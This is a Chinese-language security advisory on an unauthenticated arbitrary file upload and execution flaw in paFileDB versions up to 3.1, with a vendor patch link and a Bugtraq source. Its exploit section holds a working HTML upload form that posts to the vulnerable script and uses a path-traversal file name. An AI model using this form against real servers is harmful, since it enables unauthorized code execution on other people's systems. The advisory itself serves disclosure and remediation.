PHP Arena paFileDB任意文件上传和执行漏洞


添加时间:
2005-10-02

系统编号:
WAVDB-00781
BUGTRAQ: 8271

影响版本:
paFileDB 1.1.3/2.1.1/3.0/3.0Beta/3.1

程序介绍:

paFileDB是一款设计用于管理员上传文件的服务程序。

漏洞分析:

paFileDB不正确验证上传文件的用户信息,远程攻击者可以利用这个漏洞上传任意文件到系统并执行。
"/includes/team/file.php"脚本没有检查合法会话,因此通过更改表单参数,可以上传任意文件到系统中,并直接请求以WEB进程权限执行包含在恶意文件中的命令。


漏洞利用:

 
  1. <html><body>  
  2. <form ENCTYPE="multipart/form-data" method="POST" \  
  3. action="http://srv/pafiledb/includes/team/file.php"> <input name="userfile" \  
  4. TYPE="file"><br> <input name="userfile_name" TYPE="text" \  
  5. value="../../../uploads/makeawish"><br> <input type="hidden" name="action" \  
  6. value="team"> <input type="hidden" name="tm" value="file">  
  7. <input type="hidden" name="file" value="upload">  
  8. <input type="hidden" name="upload" value="do">  
  9. <input type=submit name=submit value="doit">  
  10. </form>  
  11. </body></html>   


解决方案:
厂商补丁:
 PHP Arena
 ---------
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 PHP Arena Upgrade paFileDB Version 3.1
 http://www.phparena.net/downloads/pafiledb.php?action=file&id=16

信息来源:
<*来源:Martin Eiszner (security@freefly.com)
   链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105906835422386&w=2
 *>